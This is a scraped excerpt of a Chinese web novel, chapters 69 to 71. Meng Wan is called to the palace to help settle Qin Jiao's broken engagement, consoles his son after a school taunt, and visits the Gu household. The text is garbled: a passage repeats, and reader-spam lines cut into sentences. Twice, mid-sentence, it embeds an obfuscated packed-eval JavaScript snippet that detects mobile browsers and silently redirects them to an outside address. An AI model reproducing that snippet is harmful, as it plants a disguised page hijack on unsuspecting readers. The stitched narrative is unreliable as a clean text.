“睡够了?”宋亭舟维持微微伏在他身上的姿势让他抱着。 何止睡够了,从晌午睡到当下天黑,简直睡多了。孟晚蔫蔫地不愿意睁开眼睛,就半挂在宋亭舟身下。 阿砚本来在软榻上玩娟人,偶尔瞥见两眼便觉得,他阿爹在他爹面前不一样,比娇娇软软的琼娘还爱撒娇似的。 没眼看。 阿砚半捂着眼睛抱着他新得来的娟人跑了出去。 他一走宋亭舟便直接抱着孟晚翻了个身,自己斜倚在炕上,让孟晚趴在他怀里。 “回来怎么没提前给我写信说一声?” 孟晚手往上摸着宋亭舟的脸,“和你说了也是惹你担心,有蚩羽在路上又无碍,没事的。” 宋亭舟将他手拿下一只,放到唇边轻咬了一下,“下次不许。” 孟晚在他身上拱了两下,仰起头亲在宋亭舟下巴上,“知道啦。” “娘没跟我回来。” “嗯?” “她说想在乡下清闲清闲,回盛京不自在。” “等小辞回来家里要办婚宴。” “那时候她肯定是要来的。” 俩人分开说长不长说短不短,彼此间依然相互想念,这会儿就这样倚在一起说说话,在昏暗烛光的映照下,气氛分外温情。 看得仔细,为他在炕桌上放着的茶杯里换了盏热茶,又引着厨房过来送饭的丫鬟进来,轻声问道:“夫郎,厨房的饭菜送过来了,是摆在炕上吃,还是在堂屋里吃?” 孟晚抬起头来,“炕上都是书信,弄脏了不好,摆堂屋里去吧。” 他下来往堂屋走,“阿砚他们在自己院里吃?” 厨房的人端着厚重的木制托盘,候着等枝繁一样样将饭菜摆到八仙桌上,回道:“小公子和葛小公子都说不过来了,就在西院里摆了饭,和夫郎这里是做的一样的。” 桌上摆了三盘小菜和半锅红枣粳米粥,孟晚前世多数是吃食堂饭,来到宋家之后口味渐渐向常金花和宋亭舟靠拢,吃饭菜的时候就是吃饭菜,不爱用甜点等。 喝汤这个习惯还是一家子去岭南才有的,眼下桌面上有粥,厨娘就没做汤菜,孟晚爱吃的酸笋切了一盘,煎了一盘小黄鱼,炒了个肉丝炒土豆丝,都是依孟晚所说,没有大荤之物。 孟晚在街上吃了个炸糕,虽然当时还算顶饿,但在路上吃顿正经饭不容易,他有些馋热饭了。 一连喝了三碗粥,将小菜都吃了精光,见天色尚早,便漱了口窝回炕上接着看信,炕里烧了炭热乎乎的,孟晚看着看着眼皮便开始不自觉的上下打架。 这一觉睡得又甜又香,孟晚自然醒来,炕桌已经被人挪走了,他身上盖着厚厚的棉被,捂得他脸颊泛红。 “阿爹睡醒啦!”阿砚清脆的童声从一旁传来。 沉稳的脚步声越来越近,熟悉的气息包围着孟晚,他脖子被人扶了一下,整个人自然而然地抱住面前人的脖颈。 “睡够了?”宋亭舟维持微微伏在他身上的姿势让他抱着。 何止睡够了,从晌午睡到当下天黑,简直睡多了。孟晚蔫蔫地不愿意睁开眼睛,就半挂在宋亭舟身下。 阿砚本来在软榻上玩娟人,偶尔瞥见两眼便觉得,他阿爹在他爹面前不一样,比娇娇软软的琼娘还爱撒娇似的。 没眼看。 阿砚半捂着眼睛抱着他新得来的娟人跑了出去。 他一走宋亭舟便直接抱着孟晚翻了个身,自己斜倚在炕上,让孟晚趴在他怀里。 “回来怎么没提前给我写信说一声?” 孟晚手往上摸着宋亭舟的脸,“和你说了也是惹你担心,有蚩羽在路上又无碍,没事的。” 宋亭舟将他手拿下一只,放到唇边轻咬了一下,“下次不许。” 孟晚在他身上拱了两下,仰起头亲在宋亭舟下巴上,“知道啦。” “娘没跟我回来。” “嗯?” “她说想在乡下清闲清闲,回盛京不自在。” “等小辞回来家里要办婚宴。” “那时候她肯定是要来的。” 俩人分开说长不长说短不短,彼此间依然相互想念,这会儿就这样倚在一起说说话,在昏暗烛光的映照下,气氛分外温情。 第69章 入宫 白天睡了一觉养足了精神,夜里就很适合再做点体力活。宋亭舟比孟晚努力,卧房里的大床摇了一夜,于是第二天孟晚便又赖了床。 今日天色稍暗,怕是要下雪,正是补觉的好天气。结果天公不作美,黄叶急匆匆地跑过来叫他起床。 “夫郎,宫里皇后娘娘宣你入宫。 宅子里的事说多不多,说少也不算少。沐泉庄有桂谦盯着,偶尔黄叶也要过问两句。他现在除非孟晚出门,不然不大在孟晚身边伺候。 这回他亲自过来叫人,是怕下面的小厮、丫鬟不可靠,毕竟皇后可是天下最尊贵的女人,万万不可怠慢。 黄叶站在孟晚床边摇人的时候,心都在怦怦乱跳。 孟晚昨晚和宋亭舟闹到后半夜,来来**翻来覆去。宋亭舟像是没吃够肉的野狼,攒了几个月的劲儿都往他身上使。早上起来上早朝也不知睡够没有,精神十足。不像他,他这会儿身上酸痛不说,眼睛也有点睁不开。 “皇后……娘娘?孟晚重复了一句黄叶的话。 黄叶急得不行,已经开始翻找衣柜里的衣裳了,嘴上还不停地催促孟晚:“是啊,皇后娘娘派来的大太监送来了传帖,人就在会客厅等着呢!夫郎你快起来! 这会儿不年不节,也没有重大国事,皇后派内侍送来传帖,那就是要私下召见孟晚。 黄叶着急忙慌地翻了半天衣裳,只拿出了一身新做的厚实中衣。孟晚爬起来在屋里换衣裳,见他一副被惊到手足无措的样子,懒洋洋地问:“还在找什么呢?去拿命妇常服来。 黄叶一拍脑袋,见孟晚丝毫不紧张的模样也跟着镇定了下来,“对啊!我给忘了!入宫面见皇后娘娘怎么能穿私服呢,孟晚是一品诰命,便是被私下召见,也是要穿一品诰命常服的。 他又风风火火地走到侧间的小库房找孟晚的一品诰命常服,还不忘吩咐枝繁枝茂赶紧伺候孟晚洗漱。 禹国的一品诰命常服是大红色的,里面红色长衫,外层红色长袄,料子是上等的绫和罗,下摆镶着绿色宽边。 衣裳前后都绣着蹙金绣云霞翟鸟纹,看带用的是红、绿、紫三色,上头同样也绣着蹙金绣云霞翟鸟纹,下摆绿色宽边上则用的是横竖金绣缠枝花纹。 孟晚洗漱好换上这么艳丽的衣裳还有些不习惯,好在常服是内务府为孟晚量身裁度的,穿着比礼服 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 要随身舒服。 他坐在凳子上,由着黄叶给他梳了一个高髻,所有头发都梳到头顶位置,再用珠翠庆云冠将整个发髻都罩起来,上头用纯金顶簪簪住,前面用金云挑心定住发冠,后面再用体积更大的分心托住后面的头发,一高一低,整体非常协调。 除此之外,发冠右边还要簪上两支嵌着蓝宝石的珠翠翟,左边则是一支口衔小珠结的金翟步摇。 黄叶给他装扮完,上下打量着怕差点什么,结果身旁一左一右传来两道吸气声。左边枝繁端着孟晚洗漱过后的东西,磨磨蹭蹭不想出门;右边枝茂拿了两道点心,直勾勾地盯着孟晚。 “端着做什么?送出去啊?” “枝茂,你给我把餐盘放下,把里屋的妆匣子拿出来!” 黄叶挨个训斥,把两个小孩都骂跑,又将孟晚的脸扭过来仔细观察,“夫郎,你脸上便是不上脂粉,是不是也该抹上些口脂啊?” 他就说差点什么东西。 这一身装扮太过华丽贵气,孟晚再抹些口脂想必会显得更加大气明艳。 孟晚咬了半块糕,“不抹,这样就好,太张扬也不是什么好事。” 枝茂取来妆匣子,孟晚从中取出两只白玉手镯戴上,压一压满身的艳色,“行了,走吧。” 宫侍客客气气地候在会客厅,半点不敢催促。等孟晚露了面,就即刻动身带孟晚入宫。态度十分恭顺,黄叶给塞荷包也不要。 平常场合入宫,宫外的侍女、小侍都是不得入内的,特别是正式场合,今日孟晚倒是可以带上黄叶和蚩羽。 霜华巷距离皇城不远,他们行至东华门侧门,由大太监递上传帖,守门侍卫核对无误后放行。 大太监轻车熟路,一路引领孟晚到皇后娘娘的寝宫——坤宁宫,黄叶和蚩羽不得入内,只能在宫殿外守着。 “老实一点,不得妄动,黄叶做什么你就做什么。”孟晚入殿前不放心地叮嘱了蚩羽一句。 大太监进去禀告,片刻后有女官出来引见。孟晚随引路女官缓缓踏入坤宁宫后殿。 暖阁内铺着整块暗织流云纹的羊绒宫毯,鞋子踏上去绵软无声,花几上的官窑青花胆瓶里,插着还泛露珠的鲜花兰草。 东南角的紫檀木高几上,鎏金珐琅香炉边角嵌着圆润的东珠,缕缕轻烟从盖顶镂空处袅袅升起,漫入殿中。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 沉香氤氲一抹醇厚的幽香萦绕在孟晚鼻下他垂下眸子余光看到暖阁深处的紫檀木镶螺钿大榻长约一丈宽约五尺榻面上铺着厚密的皮毛裘褥边缘垂着紫缎绣暗八仙纹流苏。 榻上正端坐着头戴双凤翊龙冠、身穿红配黄燕居冠服的皇后娘娘。她亦是秦艽一母同胞的亲姐与她相对而坐的便是她二人的亲母忠毅候夫人了? “臣下叩见皇后娘娘皇后娘娘万福金安!” 孟晚双腿弯曲欲行大礼结果腿还没触到地上的羊绒宫毯 “今日没有外人孟夫郎又何须多礼?过来坐吧。”皇后只比孟晚大了三四岁语气温和又不失威仪。 宫侍在大榻旁边放了把椅子供孟晚上座。 孟晚坐之前又对忠毅侯夫人微微欠身“见过侯夫人。” 忠毅侯夫人五十多岁的年纪长相英气皇后和秦艽都很像她。听说她也是出身将门父亲亦是朝中猛将。 忠毅候夫人虽然是第一次见孟晚却也显得极为亲厚“正旦宴我等因为避嫌没来早就想见见你了。” 孟晚坐在椅子上因为两人亲近的态度姿态也松弛了两分“正旦宴过后想必诸位夫人、夫郎都是说臣下没有教养、出言不逊吧。” “那你可真猜错了。”忠毅侯夫人刚才正和皇后谈论些什么眉眼间带了丝愁绪这会儿倒是淡开不少“反正传到我口中的都是好话。” 皇后也道:“当时陛下多有谋划本宫在席间不便出头孟夫郎莫要怪罪。” 她贵为皇后到现在能在孟晚面前解释一句已经十分谦逊了。 孟晚忙道不敢“娘娘言重了臣下当时已经在家听夫君提及过且怀恩伯夫人与臣是旧怨怎么能怪到皇后娘娘身上呢?” 忠毅侯夫人奇道:“你和她不是师姐弟吗?为何有旧怨?” “说是旧怨也够不上……”孟晚把他和林苁蕙之间那点小破事给细说了一遍。 忠毅候夫人不出所料“她就是那样的脾气拎不清的东西。她儿子与廉王过近已经被刑部下了大狱陛下念在怀恩伯曾驻守边境数十年以累累功绩才被先帝封为伯爵并没有革除他家的伯爵之位但怀恩伯为其他儿子请封世子都被驳回了他家自然知道怎么回事。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 不削爵是给先帝面子儿子与逆党一派后代还想接着当伯爵就是白日做梦了。 若不是林苁蕙四处经营把儿子也教成四通八达的性子他家起码能享三代经久不衰。 如今么…… 孟晚对林苁蕙无感是盛是衰也不大在乎倒是忠毅候夫人比较唏嘘“看看吧这就是娶个搅家精的下场我又怎么能你弟弟娶了那小哥儿进门呢!” 新皇登基秦家的对头聂家倒台女儿坐到了皇后的位置上连一向不着调的儿子也有了一番建业被陛下钦派为三大营提督这么重要的位置交给秦艽这是陛下对秦家的信任。 忠毅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723914|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯夫人本就不同项苁蕙那样喜欢钻营按理说没什么不知足的了只儿子的亲事颇为坎坷。 提起秦艽从钦州边境带回来的小哥儿皇后眉头也不经意间蹙起“那个小哥儿暂且不说如今他一鼓作气跑去顾家退了亲就是公然折辱顾家名声。顾大学士虽然身上并无实权可多次下江南讲学门下学子无数在文士中名声极盛连陛下也要给几分薄面。” “昨日那群读书人将他堵在街上多半是受了顾家的授意一次两次就罢了真叫他们缠上也是麻烦。”忠毅侯夫人愁道。 皇后一拍身侧的紫檀木嵌玉扶手声音中带着些薄怒“他行事这般鲁莽活该自己受着。” 暖阁内外的宫侍跪在地上一片“皇后娘娘息怒。” 孟晚听明白了二位这是在烦恼秦艽的婚事喊他来的目的不言而喻秦艽朋友中靠谱些的也只有他和宋亭舟了且宋亭舟从龙有功前途一片大好算是自己人这是要让孟晚去规劝秦艽。 果然忠毅候夫人下一瞬便是扭头问孟晚“孟夫郎你和宋大人在岭南对犬子多加照顾与他关系又亲近他愿意听两句你们的话娘娘这里也没有旁人还望孟夫郎给出出主意。” 皇后特意将他叫来想必不是为了听他说些似是而非烂和稀泥的话孟晚沉吟片刻“女子名誉重若性命且与家族捆绑 忠毅候夫人面露惭愧“这事怪我为了让他定心自作主张为他定了亲事耽误了顾二姑娘。” 皇后打断母亲自责的话头“眼下再说这些已是无用想办法补救才是真的不知孟夫郎可有妙计?” 新帝心机深沉从不 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 爱在后宫提及前朝政务,却在他面前提过两次宋亭舟和孟晚夫夫,可见其简在帝心。 孟晚将昨日秦艽被一群读书人堵在大街上的事琢磨了一下,对上了,便道:“这事还是要从顾家入手。” 忠毅侯夫人岂会不知?她愁道:“宫内平乱第二天,还不等我们反应过来,这小子就去顾家退了亲,如今亲事已经退了,人也得罪了。再说,便是按头逼着秦艽娶顾二姑娘,这头倔驴也是不能干的。” 孟晚压了压叠在一起的手,“臣下说句斗胆的话。” 皇后戴着东珠点翠手镯的左手轻抬,“早就对你说了,我这宫里没有外人,你有什么主意尽管说出来。” “两家定亲多年,确实耽搁了顾二姑娘多年,不若皇后娘娘赏赐她个恩典,将她收为义妹?这样外人再说不出什么闲话,又能免了两家因为退亲闹得不愉快。” 忠毅候夫人看了皇后一眼,苦笑着摇头,“娘娘也是这么说的,可是顾二姑娘倔强得很,硬是不愿。” 孟晚意外道:“顾二姑娘不愿意?”他问完又琢磨出两分小姑娘的想法,还是个挺有气性的女娘,不过也怪不得人家,秦家这事确实办得不地道。 但算起来,三方又各有委屈,最冤的就是顾家。接下来秦家也是想给儿子寻个好亲事,出发点也是好的。秦艽在外多年,关于亲事刚开始可能也没想太多,后来遇到军医之子裴安缘,就那么陷进去了,非人家不娶。 皇后所托,又是秦艽的事,孟晚思索片刻,“若是皇后娘娘和夫人信任,臣下愿意去顾家走一趟。” 皇后心中甚慰,忠毅候夫人更是惊喜,连连道谢道:“那就多谢孟夫郎了。” 从皇后处说了一会儿,孟晚见母女二人似还有话要说,识趣地告退。 他走了一会儿后,忠毅候夫人还看着他离去的背影惋惜,“你看看人家宋大人的夫郎,真是进退有度,人又机敏,从长相到为人,真真是挑不出一点毛病来。但凡你弟弟找个这般的人物回来,哪怕出身不好,娘也认了!” 皇后戳破她的幻想,“便是有孟夫郎三分,也是个玲珑人了。” “谁说不是呢?”忠毅侯夫人愁眉不展,说到底,顾二姑娘再如何,也是外人,她最愁的还是秦艽和裴安缘的事。 第70章 育儿 从皇宫出来,孟晚就琢磨着这个说客要怎么当。他当年初入盛京城,曾在怀恩伯爵府见过顾家大姑娘一面,那就是个极为傲气的姑娘了,没想到老二骨头更硬。 没必要现下就去顾家,这一身上门太招摇了,孟晚带蚩羽和黄叶先回家,找了家里下人中最机灵的桂谦出去打探顾家的事。 孟晚刚将身上的诰命常服换下来,发冠也被枝繁一件件拆下。 他揉着头皮,“戴这么小会儿就沉得慌,若是戴上一整天岂不是遭罪**? 枝繁捂着嘴巴偷笑,“我看人家夫人夫郎头上最少也插着三根珠钗,步摇也都是怎么华丽精巧怎么来呢! “别人是别人,咱们不和他们比。孟晚重新用白玉祥云簪挽了个松垮的发髻,把手上累赘的玉镯也褪了下来,穿着一件长到膝盖的对襟上衣,一条厚实暄软的薄棉裤,站起来跺了两下脚,浑身一阵轻松。 枝繁将这一套东西都妥善地放到正房里的小库房里,里面都是珍贵物件,上了锁的。 孟晚把堂屋里的枝茂喊过来,“去叫厨房给我煮一碗馄饨送过来,加两个荷包蛋。 “欸,小的这就去厨房吩咐。 孟晚从卧房外间,穿过堂屋走到书房里,书房里的两张长长的桌案并着,书架上的书册满满登登,角落里还开了道小门,里面是孟晚专门放画具的房间。 他在自己那侧书桌旁坐定,挑了一块上好的徽墨在砚台上细细研磨,昨天看信,今天该回信了。 这些年下来,磕磕绊绊的,岭南北上如今的路已经修到了郑州。除了一开始较为艰难外,其他州府的上官都嗅到了不寻常的气息,只要不傻都主动帮扶、助力,后期倒是越来越顺利了。 先帝尚且没有注意到这小小的驿站,但当今圣上是一路走过来亲自看到过的,应当知晓其中利害。再加上他和宋亭舟从龙有功,等将来石见驿站过了皇上耳目,走上明路,很多潜在风险都能解决。 譬如小地方的驿站管事中饱私囊,或是胆大妄为的私藏货物等,这些问题都不可避免,若是其中加入官府管控,又会将这些问题大大减少。 孟晚将自己刚写下的一行字划掉,上面写的是驿站改革的问题,各地方管事每三年都要重新抓阄,在所在州府内随机分派到其他驿站去,避免长时间经营一处,产生什 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 么不必要的妄念。 但他转念一想,这件事当下提出来并不是什么好时机,等他什么时候各地巡游一次,看看驿站如今的情形,再决定不迟。 糖坊和珍罐坊等的回信就简单许多,松韵书院的孩子们再过两年就要开始各有建树了,南地女娘小哥儿的地位,正在渐渐提升。 有的人或许有所察觉,可等一个州府内,几乎家家户户的小哥儿、女娘都出来挣钱后,他们为家庭所带来的收益,足以堵上所有人的嘴巴。 这是一个极为缓慢的过程,但值得等待,且令人期待。 孟晚只能做到这样了,一个人的精力有限,他也不是三头六臂。阿砚小时候虽然有常金花陪伴,可他和宋亭舟都没有尽到当父亲阿爹的责任。孟晚还好些,宋亭舟总是觉得对阿砚有亏欠,凶也凶不起来,严父他是做不成了。 下午吃了一碗馄饨,孟晚在书房里写信写了半天,等到宋亭舟快下衙回家的时候,又跑去厨房里,打算亲自下厨给他做顿饭菜。 厨房里的三五个小丫头是槿姑亲自带出来的,手艺略微稚嫩,只有暂且掌厨的女娘烧菜还算像样。 几人手足无措地给孟晚打下手,小厨娘诚惶诚恐地问主子是不是自己做的饭不好吃。 孟晚尚未回答,她自己眼泪便已经掉下来了。 “我并没有说你烧的菜不好吃,只是今日闲来无事,想亲手给你们大人做两道菜。孟晚哭笑不得地从怀里掏出一块帕子递给小厨娘,让她擦擦脸上的眼泪。 “啊?哦……奴婢……奴婢懂了。 宋亭舟爱吃饼和饺子之类的,那些年考科举的时候吃饼吃伤了一阵,好几年都不爱吃,去岭南的几年又开始恢复了。 总之是个很好对付的食客,孟晚做什么他就吃什么,量大管饱就好。 思及还有两个小的,阿砚爱吃鱼虾,通儿爱吃肉,孟晚便决定还是包饺子好,多包几种馅料的,大家都能吃到爱吃的。 厨房里忙叨叨地剁着各种馅料,孟晚先将处理好的火腿肘子煨上,又煲了一道银鱼豆腐羹,等一会儿饺子包好蒸上了,再拌两道小菜即可。 厨房的空地上摆了三张饭桌,桌上各一大盆馅料,一盆猪肉白菜馅、一盆三鲜馅、一盆羊肉萝卜馅。 两 你的朋友正在书荒,快去帮帮他吧 个丫鬟擀皮两个小厨娘和孟晚一起包饺子孟晚平常时候没有什么主家的架子大家围在桌子旁热热闹闹的。 饺子快要包完的时候下学回家的阿砚被黄叶带着寻了过来。 “阿爹!呜呜呜……”他张着嘴巴哭眼泪鼻涕糊了一脸。 黄叶心疼地说:“小公子进门就开始哭了又要找您我就带他过来了。” 孟晚见他这样有点嫌弃忙净了手站起来叫他离开厨房重地。到院里见他眼睛红肿一片又被风吹得脸颊也泛红不免又有些怜惜。 “好了好了怎么哭成这样是不是挨郑先生骂了?”孟晚带他去正院堂屋枝繁见阿砚这样也是大惊一屋子小侍兵荒马乱打水的打水、擦脸。阿砚衣领处也被哭湿了枝茂又小跑着去西院给他取衣裳换。 孟晚不说还好说完阿砚更是委屈到极点抽抽搭搭地说:“不是……不是夫子骂我是他们说我是……” 热水来了枝繁浸湿了帕子给阿砚擦脸擦完脸阿砚哭得更大声了:“他们说我是乡巴佬!呜呜呜……” 孟晚:“……?” 他颇为无语地问:“他们是谁?” “和他们俩一起进学的小孩不知道是谁家的。” 一道清亮的声音从堂屋外面传来是随着取衣裳的枝茂过来的方锦容。 孟晚从椅子上站起来“你消息倒是灵通还知道去接儿子下学我还以为你要明天才上门呢。” 方锦容牵着通儿唉声叹气地站在孟晚身旁“你是不知道我每天有多无聊盼星星盼月亮地将你盼回来若不是听说你早上被召入宫了我早就找你来了。” “你怎知道我进宫了?消息够灵通啊?”宋亭舟都不知道他进宫的事不然早就回家来问了。 方锦容道:“葛全在宫里当值你今天从宫门进去的时候 孟晚不算意外“葛大哥如今是什么职位?” 通儿拽着方锦容的手仰着头眼巴巴地听着**职位是什么意思好像说的是他爹也在宫里做了官那岂不是不用和阿砚分开? “锦衣卫指挥使天天在皇城里遛达无趣得紧。”方锦容不是在吹嘘他是真的嫌弃。 孟晚琢磨了一下锦衣卫指挥使是正三品的官衔历来都是侯爵世家培 你的朋友正在书荒,快去帮帮他吧 养出来的世子们担任,对初来乍到的葛全来说,着实不低了。 他又问:“你和葛大哥如今可有住处?离我家远不远?” “哇!阿爹……呜呜呜……你为什么不理我……呜呜……” 方锦容还没回答,被晾在一旁的阿砚先不干了。 “闭嘴,别哭了,好好说,究竟在郑家发生什么事了?”孟晚被吵得头疼,也不知道阿砚哪来那么多的眼泪,这么长时间还没哭完。 阿砚哽咽着又被枝繁擦了两把脸,“夫子家里又多来了三个学生,和我差不多大,夫子说他们是他友人家里送过来的孩子,不好推脱,让我们一起进学,但是下学的时候,那三个人,他们是一起的,嘲笑通儿傻,又说我说话有口音,是乡巴佬!” 通儿毕竟年纪小,他于武学上有极高的天分,但读书就差了些劲儿,时常在课堂上打瞌睡,郑先生经常训斥他,但通儿比阿砚这种小心眼心大得多,骂几句也不当回事,久而久之郑先生也没法子了,随他睡去。 他课业不好,被新来的三个小孩笑话也没当回事,但阿砚心眼小,最喜欢的是别人夸他俊,私以为他是全国最聪明、可爱、乖巧、伶俐的小孩,猛然听到那三个小孩说他说话口音怪异难听,简直像是天塌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723915|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一般,一进家门就憋不住哭了。 孟晚:“……” 就这儿? “人家说你口音难听,你就跑回家哭?没反击?”他难以置信自己生了个这么窝囊的儿子。 阿砚坐到榻上自己解开扣子换外袍,磕磕巴巴地说:“我……我骂他们是扑街仔。” “扑哧”一声,方锦容第一个笑出声,然后一屋子的人都笑了。 阿砚恼羞成怒,“怎么啦!” 他从小在赫山县出生,在岭南长大,长到六岁才随亲人到盛京来。按理说家里人都说的是禹国官话,他北方话和南方话都会。 但因为大部分时间都在岭南,接触的人说的都是岭南话,所以有些时候不自觉地就会套用岭南方言,家里人都习惯了,也没人因为这点小事纠正他。 孟晚叫方锦容带通儿到里间榻上坐,阿砚贱兮兮地挨着孟晚。“阿爹,他们欺负我。” “那你想怎么办?”孟晚垂眸问他。 通儿最讲义气,攥着小拳头道:“明天我去揍他们一顿!” 阿砚 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 眼睛一亮,赞同地点点头。 孟晚冷笑出声,“然后郑先生责罚你们一顿,人家家里人再上门找我,要我管教好自己孩子,你们被逼着向那三人道歉,脸面全失,还让对方看了笑话。这是你们想要的结果?” 阿砚和通儿齐齐摇头。 方锦容道:“不然我让葛全去套麻袋打?” 孟晚扶额,“葛大哥去打一群小孩?往后他二人闯了祸,受了气,都要回家去找咱们吗?” “那倒也是。”方锦容赞同,葛全在江湖上遇事多了,葛老头又不靠谱,都是他自己闯荡出来的。 阿砚又要撇嘴,“那要怎么办嘛。” “和别人硬碰硬的是蠢货,你的气性和自尊与性命比起来一文不值,你和他们打起来,人家把你打**会拍手叫好,你把人打**又会闹得轰轰烈烈,以命抵命。若是不轻不重地给人挠挠痒痒就觉得自己赢了?那更是可笑的想法。” 虽然通儿会武,阿砚也算学了点皮**,但世事无常,会武被人算计死得多了。孟晚刻意将事情往严重了说,就是想让两个孩子看清一件小事背后的一切可能。 孟晚问两个孩子,“是打他一顿过过瘾爽,还是想办法,让他们三人惧怕你们,看见你们就想退避三舍叫大哥爽?” 通儿:“打他们一顿爽!” 他说完就被方锦容弹了个脑瓜嘣。 阿砚听孟晚说完就呆住了,他脑子里突然浮现起和孟晚在瑶寨的时候,他们只是在寨子里住了几天,突然就有好多好多的人听他阿爹的指挥,还把最大的寨子都包围了起来。 当时他太小了,对很多事情都没什么印象,唯独记得孟晚站在众人中央,被人簇拥的样子。 “让他们怕我们,叫我大哥?”一股酥麻刚从脚底直窜到阿砚头顶,他瞬间像是被打通了任督二脉。 阿砚双目一亮,“我知道了阿爹!” 孟晚也不知道他又知道了什么,总归他能自己解决最好,总比哭着回来找爹强。 “明早我要去顾家一趟,若是顺利,出来就去你家找你。” 孟晚送方锦容通儿和在前院借住的葛老头出门,方锦容要接了两人回家去。 他们刚才在正院说话的时候外面飘了雪,雪里头还夹着雨丝,落在人身上濡湿一片,孟晚叫人给拿了伞,目送三人乘车离开,也没立即返回,而是站在门亭里等着宋亭舟。 马蹄声由远到近,宋亭舟骑马回来,一眼便见到了门亭下的静立如竹的孟晚。 大门两侧挂了灯笼,却不及孟晚手中提着的竹骨纱罩提灯明亮。 “怎么在这里等我?冷不冷?”宋亭舟把手中的缰绳交给下人,脚步急促地走到孟晚身边牵着他。 孟晚拍了拍他肩上还没融化的雪花,“不冷,你怎的也没穿件蓑衣回来?” 宋亭舟撑起伞同他往正院走,“不碍事,今日休息好了?” “嗐,别提了,等回屋和你说。” 第71章 做客 晚饭的时候阿砚化悲愤为食量,恶狠狠地吃了十个大蒸饺,撑得走不动路,被朱砂朱颜扶着回了西院。今晚通儿不陪着他睡,常金花也不在,家里怪冷清的。 孟晚等宋亭舟吃完饭后才跟他提起今日入宫的事。 “皇后娘娘的面子还是要给的,再加上咱们和秦艽的交情,明早我必要去趟顾家。” 屋子里生了炭火,孟晚洗漱好后把外间的窗户开了一条细缝,冷冽的风夹杂着雨雪,拼命往温暖干燥的屋子里钻。 宋亭舟往他身上披了件厚重的外衣,“量力而行,若是办不成也无人会怪罪你。”如今他有底气和孟晚说这样的话,也有本事让他不必事事看人脸色。 “我知道的,闲着也是闲着,等从顾家出来,我去找锦容玩。淑慎嫂子快生了,还要去看看他,可惜阿寻不在,不然更踏实一些。” 孟晚拉他上了炕,把炕桌推到一侧,和宋亭舟依偎在一起说话。 “昭远请了城里有名的稳婆上门,应该是无碍。等过些天我休沐,陪你和阿砚去沐泉庄泡汤池。” “我跟你说,阿砚今天可哭惨了……” 外面天地清寒,碎玉敲窗,室内炙炭暖烛,真情人,心心相印。 一夜的风雪将沉积了一天的乌云吹散,然而第二日的气候骤降,寒气裹着地上残留的雨雪往人骨头缝里钻。 孟晚穿上嵌着毛领的青色棉袍,踏着鹿皮小靴,登上了顾家的门。 马车停靠在顾家大门一侧,蚩羽跳下车辕前去叫门。 “我家夫郎昨日递了拜帖,今日特来登门。” 顾家看门的下人是个三十多岁的小厮,顾大学士作为清流文官,明年春闱将至,往日想必近来有不少人上门求见。 小厮见蚩羽一身看不出料子的灰黑色衣裳,还当他是穿不起棉衣的穷鬼。 “你家夫郎是谁家的?”小厮不耐烦地问了句。 蚩羽扭身指向身后的马车,“顺天府尹宋大人的夫郎孟氏。” 小厮尚未听完蚩羽说完话,就一眼先看到停在门前一侧的马车,上头车厢的门帘和窗帘都是用得织锦棉布,马鞍都是描银的。 后一听清蚩羽的口中的话,立即变了脸,“哎哟,原来是孟夫郎啊!家里主子早就交代过了,孟夫郎一来就要立即请到正院里去。我家夫人 早已等候多时,还请小哥儿将贵夫郎请下来。” 无论几次,蚩羽还是惊叹盛京人人拿手的变脸速度,他跑回马车前,“夫郎,可以进去了。” 孟晚自行从马车上跳下来,狂放的姿态惊到了顾家的看门小厮,他心道:怪不得都说宋大人夫郎是乡野小哥儿,行事也忒不讲究了。 蚩羽见他盯了孟晚一会儿都没挪开眼睛,为孟晚引路的时候经过那小厮,借机狠狠撞了对方一下。 蚩羽浑身上下只有头发丝儿是软的,那小厮被他这么一撞险些吐血,疼得视线模糊,却还是只能强颜欢笑,心虚地猜测是蚩羽看出了他方才的念头。 进了顾家大门后,前院自有其他仆从为孟晚引路,一行人穿过游廊,走到三进院的正院里却没停下。 领路的侍女解释道:“孟夫郎还请随奴婢到后头的荣安堂去,那是我家老夫人的住所,夫人正在老夫人处。” 孟晚客气地说:“应该的,我初次登门,理当先去给顾老夫人问好。” 顾夫人当日在正旦宴上得罪过孟晚,这是怕他旧事重提,拿顾老夫人的辈分压一压孟晚的气性。 毕竟新皇登基后,任谁都知道宋亭舟和秦艽是陛下眼前的红人,秦艽这个国舅就不用说了,宋亭舟更是前途不可限量。 如今他虽然依旧是三品顺天府尹,可隔三岔五就被陛下召入宫内商议要事,内阁那些个老臣几乎都成了摆设,顾大人这个大学士在宋亭舟面前也要矮上三分。 顾夫人再后悔当时没有交好孟晚也晚了,如今万万不能再得罪人。 荣安堂是个户型方正的小院,只有常金花住处的一半大小。当然,也是因为常金花嫌弃院子憋屈,没将她住处单独围起来,连着后花园一起,自然宽敞。况且孟晚家的宅子规格很高,比寻常京官的宅子大上许多。 